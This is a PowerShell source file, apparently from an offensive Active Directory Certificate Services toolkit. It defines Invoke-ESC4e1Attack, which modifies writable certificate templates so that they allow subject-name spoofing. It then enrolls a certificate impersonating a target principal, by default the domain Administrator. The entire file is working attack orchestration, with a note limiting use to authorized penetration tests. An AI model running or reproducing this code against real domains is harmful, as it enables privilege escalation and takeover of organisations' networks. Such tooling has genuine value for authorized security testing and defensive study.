Private/Invoke-ESC4e1Attack.ps1

function Invoke-ESC4e1Attack {
    <#
        .SYNOPSIS
        Performs an ESC4e1 attack by converting vulnerable templates to ESC1 and executing the attack.
 
        .DESCRIPTION
        This function takes the output from Find-ESC4e1 (ESC4 vulnerabilities with enabled templates),
        converts the vulnerable templates to ESC1 vulnerabilities using ConvertTo-ESC1, and then
        executes the ESC1 attack using Invoke-ESC1Attack.
         
        ESC4e1 attacks exploit certificate templates that the attacker can modify and are enabled
        on Certificate Authorities. The attack process:
        1. Identify vulnerable templates that can be modified (ESC4)
        2. Convert the template to be ESC1 vulnerable (allow SAN spoofing)
        3. Execute the ESC1 attack to obtain a certificate impersonating a target principal
        4. Use the certificate to authenticate as the target principal
 
        .PARAMETER ESC4e1Result
        A result object from Find-ESC4e1 containing ESC4 vulnerabilities with enabled templates.
        The object should have VulnerableTemplates and ESC4e1Issues properties.
 
        .PARAMETER CertificateAuthority
        The Certificate Authority to request the certificate from. If not specified, attempts to
        auto-discover available CAs. Format: "CA-SERVER\CA-NAME"
 
        .PARAMETER TargetPrincipal
        DirectoryEntry object representing the security principal to impersonate in the certificate.
        If not specified, automatically discovers and uses the domain Administrator account (RID 500).
 
        .PARAMETER WhatIf
        Shows what attack would be performed without actually executing the conversion or attack.
 
        .INPUTS
        PSCustomObject
        ESC4e1 result objects from Find-ESC4e1 function.
 
        .OUTPUTS
        PSCustomObject[]
        Returns attack results for each vulnerable template that was converted and attacked.
 
        .EXAMPLE
        # Find ESC4e1 vulnerabilities and attack them
        $esc4e1Results = Find-ESC4e1 -Issues $AllIssues
        $esc4e1Results | Invoke-ESC4e1Attack
 
        .EXAMPLE
        # Attack with specific target principal
        $targetUser = Resolve-Principal -Identity "Administrator"
        $esc4e1Results = Find-ESC4e1 -Issues $AllIssues
        Invoke-ESC4e1Attack -ESC4e1Result $esc4e1Results[0] -TargetPrincipal $targetUser
 
        .EXAMPLE
        # Use WhatIf to see what would happen
        $esc4e1Results = Find-ESC4e1 -Issues $AllIssues
        Invoke-ESC4e1Attack -ESC4e1Result $esc4e1Results[0] -WhatIf
 
        .NOTES
        WARNING: This function performs actual certificate attacks that can compromise security.
        Only use in authorized penetration testing or red team exercises.
         
        Requires:
        - No external tools; enrollment + PKINIT are pure PowerShell (vendored PSPkinit).
        - Network access to Certificate Authority
        - Appropriate permissions to modify certificate templates and enroll certificates
 
        .LINK
        https://posts.specterops.io/certified-pre-owned-d95910965cd2
    #>

    [CmdletBinding(SupportsShouldProcess)]
    param (
        [Parameter(Mandatory, ValueFromPipeline)]
        [ValidateNotNull()]
        [PSCustomObject]$ESC4e1Result,
        
        [Parameter()]
        [string]$CertificateAuthority,

        [Parameter()]
        [System.DirectoryServices.DirectoryEntry]$TargetPrincipal
    )


    begin {
        Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Starting $($MyInvocation.MyCommand) on $env:COMPUTERNAME..."

        # Initialize results array
        $attackResults = @()
    }

    process {
        Write-Verbose "Processing ESC4e1 result for principal: $($ESC4e1Result.PrincipalName)"
        
        # Validate input object structure
        if (-not $ESC4e1Result.PSObject.Properties['ESC4e1Issues'] -or 
            -not $ESC4e1Result.PSObject.Properties['VulnerableTemplates']) {
            Write-Warning "Invalid ESC4e1Result object. Expected properties: ESC4e1Issues, VulnerableTemplates"
            return
        }
        
        if ($ESC4e1Result.ESC4e1Issues.Count -eq 0) {
            Write-Warning "No ESC4e1 issues found in result object for principal: $($ESC4e1Result.PrincipalName)"
            return
        }
        
        Write-Host "=== ESC4e1 Attack: $($ESC4e1Result.PrincipalName) ===" -ForegroundColor Red
        Write-Host "Found $($ESC4e1Result.ESC4e1Issues.Count) vulnerable template(s): $($ESC4e1Result.VulnerableTemplates -join ', ')" -ForegroundColor Yellow
        Write-Host ""
        
        # Process each vulnerable template
        foreach ($templateName in $ESC4e1Result.VulnerableTemplates) {
            Write-Host "Attacking template: $templateName" -ForegroundColor Cyan
            
            # Find the corresponding ESC4e1 issue for this template
            $templateIssue = $ESC4e1Result.ESC4e1Issues | Where-Object { 
                $_.DirectoryEntry -and $_.DirectoryEntry.Properties['name'].Value -eq $templateName 
            } | Select-Object -First 1
            
            if (-not $templateIssue) {
                Write-Warning "Could not find ESC4e1 issue for template: $templateName"
                continue
            }
            
            if (-not $templateIssue.DirectoryEntry) {
                Write-Warning "No DirectoryEntry found for template: $templateName"
                continue
            }
            
            $templateDirectoryEntry = $templateIssue.DirectoryEntry
            
            try {
                Write-Host " Step 1: Converting template to ESC1 vulnerability..." -ForegroundColor Yellow
                
                if ($PSCmdlet.ShouldProcess("Template: $templateName", "Convert to ESC1")) {
                    # Convert the template to ESC1 vulnerable
                    $convertResult = ConvertTo-ESC1 -InputObject $templateDirectoryEntry -PassThru
                    
                    if ($convertResult) {
                        Write-Host " [+] Successfully converted template to ESC1" -ForegroundColor Green
                        
                        Write-Host " Step 2: Executing ESC1 attack..." -ForegroundColor Yellow
                        
                        # Build parameters for Invoke-ESC1Attack
                        $esc1Params = @{
                            TemplateObject = $convertResult
                        }
                        
                        # Add optional parameters if provided
                        if ($CertificateAuthority) {
                            $esc1Params.CertificateAuthority = $CertificateAuthority
                        }
                        
                        if ($TargetPrincipal) {
                            $esc1Params.TargetPrincipal = $TargetPrincipal
                        }
                        
                        # Execute the ESC1 attack
                        $attackResult = Invoke-ESC1Attack @esc1Params
                        
                        if ($attackResult) {
                            Write-Host " [+] ESC1 attack completed successfully" -ForegroundColor Green
                            
                            # Create comprehensive result object
                            $resultObject = [PSCustomObject]@{
                                PSTypeName = 'ESC4e1_Attack_Result'
                                PrincipalName = $ESC4e1Result.PrincipalName
                                PrincipalSID = $ESC4e1Result.PrincipalSID
                                TemplateName = $templateName
                                AttackType = "ESC4e1"
                                ConversionSuccess = $true
                                AttackSuccess = $true
                                AttackResult = $attackResult
                                TargetPrincipal = $TargetPrincipal
                                Timestamp = Get-Date
                                ErrorMessage = $null
                            }
                            
                            $attackResults += $resultObject
                            Write-Host " [+] Attack result stored" -ForegroundColor Green
                        } else {
                            Write-Host " [x] ESC1 attack failed or returned no result" -ForegroundColor Red
                            
                            $resultObject = [PSCustomObject]@{
                                PSTypeName = 'ESC4e1_Attack_Result'
                                PrincipalName = $ESC4e1Result.PrincipalName
                                PrincipalSID = $ESC4e1Result.PrincipalSID
                                TemplateName = $templateName
                                AttackType = "ESC4e1"
                                ConversionSuccess = $true
                                AttackSuccess = $false
                                AttackResult = $null
                                TargetPrincipal = $TargetPrincipal
                                Timestamp = Get-Date
                                ErrorMessage = "ESC1 attack failed or returned no result"
                            }
                            
                            $attackResults += $resultObject
                        }
                    } else {
                        Write-Host " [x] Failed to convert template to ESC1" -ForegroundColor Red
                        
                        $resultObject = [PSCustomObject]@{
                            PSTypeName = 'ESC4e1_Attack_Result'
                            PrincipalName = $ESC4e1Result.PrincipalName
                            PrincipalSID = $ESC4e1Result.PrincipalSID
                            TemplateName = $templateName
                            AttackType = "ESC4e1"
                            ConversionSuccess = $false
                            AttackSuccess = $false
                            AttackResult = $null
                            TargetPrincipal = $TargetPrincipal
                            Timestamp = Get-Date
                            ErrorMessage = "Failed to convert template to ESC1"
                        }
                        
                        $attackResults += $resultObject
                    }
                } else {
                    Write-Host " [i] WhatIf: Would convert template $templateName to ESC1 and execute attack" -ForegroundColor Gray
                    
                    $resultObject = [PSCustomObject]@{
                        PSTypeName = 'ESC4e1_Attack_Result'
                        PrincipalName = $ESC4e1Result.PrincipalName
                        PrincipalSID = $ESC4e1Result.PrincipalSID
                        TemplateName = $templateName
                        AttackType = "ESC4e1"
                        ConversionSuccess = $null
                        AttackSuccess = $null
                        AttackResult = $null
                        TargetPrincipal = $TargetPrincipal
                        Timestamp = Get-Date
                        ErrorMessage = "WhatIf simulation"
                    }
                    
                    $attackResults += $resultObject
                }
                
            } catch {
                Write-Host " [x] Error during ESC4e1 attack: $($_.Exception.Message)" -ForegroundColor Red
                Write-Verbose "Full error details: $($_.Exception | Format-List * | Out-String)"
                
                $resultObject = [PSCustomObject]@{
                    PSTypeName = 'ESC4e1_Attack_Result'
                    PrincipalName = $ESC4e1Result.PrincipalName
                    PrincipalSID = $ESC4e1Result.PrincipalSID
                    TemplateName = $templateName
                    AttackType = "ESC4e1"
                    ConversionSuccess = $false
                    AttackSuccess = $false
                    AttackResult = $null
                    TargetPrincipal = $TargetPrincipal
                    Timestamp = Get-Date
                    ErrorMessage = $_.Exception.Message
                }
                
                $attackResults += $resultObject
            }
            
            Write-Host ""
        }
    }

    end {
        Write-Verbose "ESC4e1 attack processing complete. Processed $($attackResults.Count) template(s)"
        
        if ($attackResults.Count -gt 0) {
            $successfulAttacks = ($attackResults | Where-Object { $_.AttackSuccess -eq $true }).Count
            $failedAttacks = ($attackResults | Where-Object { $_.AttackSuccess -eq $false }).Count
            $whatIfAttacks = ($attackResults | Where-Object { $_.AttackSuccess -eq $null }).Count
            
            Write-Verbose "Attack Summary:"
            Write-Verbose " Successful attacks: $successfulAttacks"
            Write-Verbose " Failed attacks: $failedAttacks"
            Write-Verbose " WhatIf simulations: $whatIfAttacks"
        }
        
        Write-Verbose "[$(Get-Date -Format 'yyyy-MM-dd hh:mm:ss')] Finishing $($MyInvocation.MyCommand) on $env:COMPUTERNAME..."
        
        # Return the attack results
        return $attackResults
    }
}